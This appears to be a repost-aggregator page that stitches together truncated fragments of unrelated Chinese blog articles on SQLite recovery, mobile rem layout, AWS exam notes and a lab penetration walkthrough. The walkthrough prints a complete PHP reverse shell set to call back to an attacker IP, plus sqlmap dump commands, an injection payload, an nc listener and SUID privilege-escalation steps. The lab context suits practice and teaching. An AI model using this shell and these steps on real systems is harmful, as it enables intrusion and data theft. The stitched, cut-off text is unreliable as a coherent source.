特别是RootPage,因为它是表对应的B-tree结构的根节点所在地,没有了它我们甚至不知道从哪里开始解析对应的表。 sqlite_master信息量比较小,而且只有改变了表结构的时候(例如执行了CREATE TABLE、ALTER TABLE 等语句)才会改变,因此对它进行备份成本是非常低的,一般手机典型只需要几毫秒到数十毫秒即可完成,一致性也容易保证, 只需要执行了上述语句的时候重新备份一次即可。有了备份,我们的逻辑可以在读取DB自带的sqlite_master失败的时候 使用备份的信息来代替。 到此,初始化必须的数据就保证了,可以仿造读取逻辑了。我们常规使用的读取DB的方法(包括dump方式恢复), 都是通过执行SQL语句实现的,这牵涉到SQLite系统最复杂的子系统——SQL执行引擎。我们的恢复任务只需要遍历B-tree所有节点, 读出数据即可完成,不需要复杂的查询逻辑,因此最复杂的SQL引擎可以省略。同时,因为我们的系统是只读的, 写入恢复数据到新 DB 只要直接调用 SQLite 接口即可,因而可以省略同样比较复杂的B-tree平衡、Journal和同步等逻辑。 最后恢复用的最小系统只需要: VFS读取部分的接口(Open/Read/Close),或者直接用stdio的fopen/fread、Posix的open/read也可以 B-tree解析逻辑 Database File Format 详细描述了SQLite文件格式, 参照之实现B-tree解析可读取 SQLite DB。 实现了上面的逻辑,就能读出DB的数据进行恢复了,但还有一个小插曲。我们知道,使用SQLite查询一个表, 每一行的列数都是一致的,这是Schema层面保证的。但是在Schema的下面一层——B-tree层,没有这个保证。 B-tree的每一行(或者说每个entry、每个record)可以有不同的列数,一般来说,SQLite插入一行时, B-tree里面的列数和实际表的列数是一致的。但是当对一个表进行了ALTER TABLE ADD COLUMN操作, 整个表都增加了一列,但已经存在的B-tree行实际上没有做改动,还是维持原来的列数。 当SQLite查询到ALTER TABLE前的行,缺少的列会自动用默认值补全。恢复的时候,也需要做同样的判断和支持, 否则会出现缺列而无法插入到新的DB。 解析B-tree方案上线后,成功率约为78%。这个成功率计算方法为恢复成功的 Page 数除以总 Page 数。 由于是我们自己的系统,可以得知总 Page 数,使用恢复 Page 数比例的计算方法比人数更能反映真实情况。 B-tree解析好处是准备成本较低,不需要经常更新备份,对大部分表比较少的应用备份开销也小到几乎可以忽略, 成功恢复后能还原损坏时最新的数据,不受备份时限影响。 坏处是,和Dump一样,如果损坏到表的中间部分,比如非叶子节点,将导致后续数据无法读出。 落地实践: 剥离封装RepairKit: 从WCDB框架中,剥离修复组件,并且封装其C++的原始API为OC管理类。 备份 master 表的时机: 我们发现 SQLite 里面 B+树 算法的实现是 向下分裂 的,也就是说当一个叶子页满了需要分裂时,原来的叶子页会成为内部节点,然后新申请两个页作为他的叶子页。这就保证了根节点一旦下来,是再也不会变动的。master 表只会在新创建表或者删除一个表时才会发生变化,而CoreData的机制表明每一次数据库的变动都要改动版本标识,那么我通过缓存和查询版本标识的变动来确定何时进行备份,避免频繁备份。 备份文件有效性: 既然 DB 可以损坏,那么这个备份文件也会损坏,怎么办呢?我用了双备份,每一个版本备份两个文件,如果一个备份恢复失败,就会启动另一个备份文件恢复。 介入恢复时机: 当CoreData初始化SQLite前,校验SQLite的Head完整性,如果不完整,进行介入修复。 经过我深入研究证明了这已经是最佳做法。 本篇文章为转载内容。原文链接:https://blog.csdn.net/a66666225/article/details/81637368。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 18:22:40
127
转载
转载文章
...= 16px),根据设备屏幕的DPR(设备像素比,又称DPPX,比如dpr=2时,表示1个CSS像素由4个物理像素点组成)根据设备DPR动态设置 html 的font-size为(50 dpr),同时调整页面的压缩比率(即:1/dpr),进而达到高清效果。 有何优势 引用简单,布局简便 根据设备屏幕的DPR,自动设置最合适的高清缩放。 保证了不同设备下视觉体验的一致性。(老方案是,屏幕越大元素越大;此方案是,屏幕越大,看的越多) 有效解决移动端真实1px问题(这里的1px 是设备屏幕上的物理像素) 如何使用 重要的事情说三遍! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 在相当数量的布局情境中(比如底部导航元素平分屏幕宽,大尺寸元素),你必须使用百分比或者flex才能完美布局! 看过 《手机端页面自适应解决方案—rem布局》的朋友,应该对rem有所了解,这里不再赘述, 此方案也是默认 1rem = 100px,所以你布局的时候,完全可以按照设计师给你的效果图写各种尺寸啦。 比如你在效果图上量取的某个按钮元素长 55px, 宽37px ,那你直接可以这样写样式: .myBtn {width: 0.55rem;height: 0.37rem;} rem布局(进阶版)实践应用 iPhone5 下页面效果.png iPhone 6 Plus 下页面效果.png 为了让朋友们更清晰感受此方案的巨大优势,下面是源码和Demo 实践应用1(请在手机端或者手机模式下浏览效果更佳!) 实践应用2(请在手机端或者手机模式下浏览效果更佳!) 线上项目(请在手机端或者手机模式下浏览效果更佳!) 示例源码 在线Demo 常见问题说明,新手很有必要看一下(2017/1/19) 许多同学对该方案存在不少误解导致使用出现各种问题,这里统一回复下。 1.问:为啥手机网页效果图宽度是要640或者750的,我非得弄个666的不行咩? 答:老实说当然可以,不过为了规范,640或者750是相对合适的。 拿Iphone 5s 举例,它的css像素宽度是320px,由于它的dpr=2,所以它的物理像素宽度为320 × 2 = 640px,这也就是为什么,你在5s上截了一张图,在电脑上打开,它的原始宽度是640px的原因。 那 iphone 6 的截图宽度呢? 375 × 2 = 750 那 iphone 6 sp 的截图宽度呢? 414 × 3 = 1242 以此类推,你现在能明白效果图为什么一般是 640 ,750 甚至是 1242 的原因了么?(真没有歧视安卓机的意思。。。) 2.问:宽度用rem写的情况下, 在 iphone6 上没问题, 在 iphone5上会有横向滚动条,何解? 答:假设你的效果图宽度是750,在这个效果图上可能有一个宽度为7rem(高清方案默认 1rem = 100px)的元素。我们知道,高清方案的特点就是几乎完美还原效果图,也就是说,你写了一个宽度为 7rem 的元素,那么在目前主流移动设备上都是7rem。然而,iphone 5 的宽度为640,也就是6.4rem。于是横向滚动条不可避免的出现了。 怎么办呢? 这是我目前推荐的比较安全的方式:如果元素的宽度超过效果图宽度的一半(效果图宽为640或750),果断使用百分比宽度,或者flex布局。就像把等屏宽的图片宽度设为100%一样。 3.问:不是 1rem = 100px吗,为什么我的代码写了一个宽度为3rem的元素,在电脑端的谷歌浏览器上宽度只有150px? 答:先说高清方案代码,再次强调咱们的高清方案代码是根据设备的dpr动态设置html 的 font-size, 如果dpr=1(如电脑端),则html的font-size为50px,此时 1rem = 50px 如果dpr=2(如iphone 5 和 6),则html的font-size为100px,此时 1rem = 100px 如果dpr=3(如iphone 6 sp),则html的font-size为150px,此时 1rem = 150px 如果dpr为其他值,即便不是整数,如3.4 , 也是一样直接将dpr 乘以 50 。 再来说说效果图,一般来讲,我们的效果图宽度要么是640,要么是750,无论哪一个,它们对应设备的dpr=2,此时,1 rem = 50 × 2 = 100px。这也就是为什么高清方案默认1rem = 100px。而将1rem默认100px也是好处多多,可以帮你快速换算单位,比如在750宽度下的效果图,某元素宽度为53px,那么css宽度直接设为53/100=0.53rem了。 然而极少情况下,有设计师将效果图宽定为1242px,因为他手里只有一个iphone 6 sp (dpr = 3),设计完效果图刚好可以在他的iphone 6 sp里查看调整。一切完毕之后,他将这个效果图交给你来切图。由于这个效果图对应设备的dpr=3,也就是1rem = 50 × 3 = 150px。所以如果你量取了一个宽度为90px的元素,它的css宽度应该为 90/150=0.6rem。由于咱们的高清方案默认1rem=100px,为了还原效果图,你需要这样换算。当然,一个技巧就是你可以直接修改咱们的高清方案的默认设置。在代码的最后 你会看到 flex(false, 100, 1) ,将其修改成flex(false, 66.66667, 1)(感谢简友:V旅行指出此处错误! 2017/3/24)就不用那么麻烦的换算了,此时那个90px的直接写成0.9rem就可以了。 4.问:在此方案下,我如果引用了别的UI库,那些UI库的元素会显得特别小,如何解决? 答:可以这样去理解问题的原因,如果不用高清方案,别的UI库的元素在移动设备上(假设这个设备是iphone 5好了)显示是正常的,这没有问题,然后我们在这个设备上将该页面截图放到电脑上看,发现宽度是640(问答1解释过了),根据你的像素眼大致测量,你发现这个设备上的某个字体大小应该是12px,而你在电脑上测量应该是24px。 现在我们使用高清方案去还原这个页面,那么字体大小应该写为 0.24rem 才对! 所以,如果你引用了其他的UI库,为了兼容高清方案,你需要对该UI库里凡是应用px的地方做相应处理,即: a px => a0.02 rem (具体处理方式因人而异,有模块化开发经验的同学可使用类似的 px2rem 的插件去转化,也可以完全手动处理) (2017/9/9更新)然而真实情况往往更为复杂,比如,你引入了百度地图(N个样式需要处理转换);或者你引入了一个 framework;又或者你使用了 video 标签,上面默认的尺寸样式很难处理。等等这些棘手问题 面对这些情况,此时我们的高清方案如果不再压缩页面,那么以上问题将迎刃而解。 基于这样的思路,笔者对高清方案的源码做了如下修改,即添加一个叫做 normal 的参数,由它来控制页面是否压缩。 在文章顶部代码的最后,你会看到 flex(false, 100, 1),默认情况下页面是开启压缩的。 如果你需要禁止压缩,由于我们的源码执行后,直接将flex函数挂载到全局变量window上了,此时你直接在需要禁止压缩的页面执行 window.flex(true) 就可以了,而rem的用法保持不变。 有一点美中不足的是,如果禁止了页面压缩,高清屏的1像素就不能实现了,如果你必须要实现1像素,那么自行谷歌:css 0.5像素,有N多的解决方案,这里不再赘述。 5.问:有时候字体会不受控制的变大,怎么办? 答:在X5新内核Blink中,在排版页面的时候,会主动对字体进行放大,会检测页面中的主字体,当某一块字体在我们的判定规则中,认为字号较小,并且是页面中的主要字体,就会采取主动放大的操作。然而这不是我们想要的,可以采取给最大高度解决 解决方案: , :before, :after { max-height: 100000px } 补充:有同学反映,在一些情况下 textarea 标签内的字体大小即便加上上面的方案,字体也会变大,无法控制。此时你需要给 textarea 的 display 设为 table 或者 inline-table 即可恢复正常。(感谢 程序媛喵喵 对此的补充!2017/7/7) 6.问:我在底部导航用的flex感觉更合适一些,请问这样子混着用可以吗? 答:咱们的rem适合写固定尺寸。其余的根据需要换成flex或者百分比。源码示例中就有这三种的综合运用。 7.问:在高清方案下,一个标准的,较为理想的宽度为640的页面效果图应该是怎样的? 点击浏览:一个标准的640手机页面设计稿参考(没错,在此方案中,你可以完全按照这张设计稿的尺寸写布局了。就是这么简单!) 8.问:用了这个方案如何使用媒体查询呢? 一般来讲,使用了这个方案是没必要用媒体查询了,如果你必须要用,假设你要对 iphone5 (css像素宽度320px, 这里需要取其物理像素,也就是640)宽度下的类名做处理,你可以这样 @media screen and (max-width: 640px) {.yourLayout {width:100%;} } 9.问:可以提供下这个高清方案的源码吗? 'use strict';/ @param {Boolean} [normal = false] - 默认开启页面压缩以使页面高清; @param {Number} [baseFontSize = 100] - 基础fontSize, 默认100px; @param {Number} [fontscale = 1] - 有的业务希望能放大一定比例的字体;/const win = window;export default win.flex = (normal, baseFontSize, fontscale) => {const _baseFontSize = baseFontSize || 100;const _fontscale = fontscale || 1;const doc = win.document;const ua = navigator.userAgent;const matches = ua.match(/Android[\S\s]+AppleWebkit\/(\d{3})/i);const UCversion = ua.match(/U3\/((\d+|\.){5,})/i);const isUCHd = UCversion && parseInt(UCversion[1].split('.').join(''), 10) >= 80;const isIos = navigator.appVersion.match(/(iphone|ipad|ipod)/gi);let dpr = win.devicePixelRatio || 1;if (!isIos && !(matches && matches[1] > 534) && !isUCHd) {// 如果非iOS, 非Android4.3以上, 非UC内核, 就不执行高清, dpr设为1;dpr = 1;}const scale = normal ? 1 : 1 / dpr;let metaEl = doc.querySelector('meta[name="viewport"]');if (!metaEl) {metaEl = doc.createElement('meta');metaEl.setAttribute('name', 'viewport');doc.head.appendChild(metaEl);}metaEl.setAttribute('content', width=device-width,user-scalable=no,initial-scale=${scale},maximum-scale=${scale},minimum-scale=${scale});doc.documentElement.style.fontSize = normal ? '50px' : ${_baseFontSize / 2 dpr _fontscale}px;}; 10.问:我在使用 rem 布局进阶方案的时候遇到了XXX的问题,如何解决? 此方案久经考验,具有普遍适用性,自身出致命问题的情况很少,至少笔者是没遇到过。 绝大多数你遇到的问题,都是由于对rem布局理解不到位导致的。本文对rem布局做了大量的解释说明,配置了若干 demo,你可以把你遇到的问题放到demo里测试。遇到问题时,首先问自己,为什么这明显的错误大家没遇到就我遇到了?? 如果你真的经过充分验证,比对,确实是rem布局自身出了问题,那么请私信我,把还原问题场景的 demo 或者文件发给我。谢谢! 本篇文章为转载内容。原文链接:https://blog.csdn.net/hjhfreshman/article/details/88864894。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-23 12:01:53
133
转载
转载文章
...安全组的工作的对象是网卡(实例)、ACL工作的对象是子网 认识4种网关,以及他们的差别 共有4种网关,支撑流量进出VPC internet gatway:互联网的访问 virtual private gateway:负责VPN的访问 direct connect:负责企业直连网络的访问 vpc peering:负责VPC的peering的访问 数据层 数据传输安全 – 进入和出AWS的安全 – AWS内部传输安全 通过https访问API 链路的安全 – 通过SSL访问web – 通过IP加密访问VPN – 使用直连 – 使用OFFLINE的导入导出 数据的持久化保存 – 使用EBS – 使用S3访问 访问 – 使用IAM策略 – 使用bucket策略 – 访问控制列表 临时授权 – 使用签名的URL 加密 – 服务器端加密 – 客户端加密 应用层 主要强调的是共担风险模型 多种类型的认证鉴权 给用户在应用层的保障建议 – 选择一种认证鉴权机制(而不要不鉴权) – 用安全的密码和强安全策略 – 保护你的OS(如打开防火墙) – 用强壮的角色来控制权限(RBAC) 判断AWS和用户分担的安全中的标志是,哪些是AWS可以控制的,那些不能,能的就是AWS负责,否则就是用户(举个例子:安全组的功能由AWS负责—是否生效,但是如何使用是用户负责—自己开放所有端口跟AWS无关) AWS可以保障的 用户需要保障的 工具与服务 操作系统 物理内部流程安全 应用程序 物理基础设施 安全组 网络设施 虚拟化设施 OS防火墙 网络规则 管理账号 8 故障排除 问题经常包括的类型: - EC2实例的连接性问题 - 恢复EC2实例或EBS卷上的数据 - 服务使用限制问题 8.1 EC2实例的连接性问题 经常会有多个原因造成无法连接 外部VPC到内部VPC的实例 – 网关(IGW–internet网关、VPG–虚拟私有网关)的添加问题 – 公司网络到VPC的路由规则设置问题 – VPC各个子网间的路由表问题 – 弹性IP和公有IP的问题 – NACLs(网络访问规则) – 安全组 – OS层面的防火墙 8.2 恢复EC2实例或EBS卷上的数据 注意EBS或EC2没有任何强绑定关系 – EBS是可以从旧实例上分离的 – 如有必要尽快做 将EBS卷挂载到新的、健康的实例上 执行流程可以针对恢复没有工作的启动卷(boot volume) – 将root卷分离出来 – 像数据一样挂载到其他实例 – 修复文件 – 重新挂载到原来的实例中重新启动 8.3 服务使用限制问题 AWS有很多软性限制 – 例如AWS初始化的时候,每个类型的EBS实例最多启动20个 还有一些硬性限制例如 – 每个账号最多拥有100个S3的bucket – …… 别的服务限制了当前服务 – 例如无法启动新EC2实例,原因可能是EBS卷达到上限 – Trusted Advisor这个工具可以根据服务水平的不同给出你一些限制的参考(从免费试用,到商业试用,和企业试用的建议) 常见的软性限制 公共的限制 – 每个用户最多创建20个实例,或更少的实例类型 – 每个区域最多5个弹性ip – 每个vpc最多100个安全组 – 最多20个负载均衡 – 最多20个自动伸缩组 – 5000个EBS卷、10000个快照,4w的IOPS和总共20TB的磁盘 – …更多则需要申请了 你不需要记住限制 – 知道限制,并保持数值敏感度就好 – 日后遇到问题时可以排除掉软限制的相关的问题 9. 总结 9.1 认证的主要目标是: 确认架构师能否搜集需求,并且使用最佳实践,在AWS中构建出这个系统 是否能为应用的整个生命周期给出指导意见 9.2 希望架构师(助理或专家级)考试前的准备: 深度掌握至少1门高级别语言(c,c++,java等) 掌握AWS的三份白皮书 – aws概览 – aws安全流程 – aws风险和应对 – 云中的存储选项 – aws的架构最佳实践 按照客户需求,使用AWS组件来部署混合系统的经验 使用AWS架构中心网站了解更多信息 9.3 经验方面的建议 助理架构师 – 至少6个月的实际操作经验、在AWS中管理生产系统的经验 – 学习过AWS的基本课程 专家架构师 – 至少2年的实际操作经验、在AWS中管理多种不同种类的复杂生产系统的经验(多种服务、动态伸缩、高可用、重构或容错) – 在AWS中执行构建的能力,架构的高级概念能力 9.4 相关资源 认证学习的资源地址 - 可以自己练习,模拟考试需要付费的 接下来就去网上报名参加考试 本篇文章为转载内容。原文链接:https://blog.csdn.net/QXK2001/article/details/51292402。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-29 22:08:40
270
转载
转载文章
...th0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...持全文索引,但可通过安装并使用特定的全文搜索引擎插件(如MyISAM引擎)来实现。全文索引极大地增强了对大量文本数据进行高效检索的能力,尤其适用于博客文章、文档库、论坛帖子等场景下的关键词搜索需求。
2023-04-26 19:09:16
83
转载
转载文章
...于证件照生成,能智能识别并分离出照片中的人物主体,以便于后续对背景进行更换或编辑,保证证件照的专业性和规范性。 SeedNet网络 , SeedNet是《BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks》一文中提出的多阶段分割网络模型,该模型采用了多任务学习策略,旨在提高对图像中特定区域(例如手部)的分割精度和整体效果。在本文研究中,作者选取了SeedNet网络的第一阶段进行实验,并展示了其在证件照生成背景分割上的应用效果。
2023-07-11 23:36:51
131
转载
转载文章
...^ 和 $ 符号能够识别字符串中每一行的开始和结束位置)。使用这些模式修饰符可以增强正则表达式的功能,使其更加灵活地适应不同场景的需求。
2023-01-24 13:01:25
529
转载
转载文章
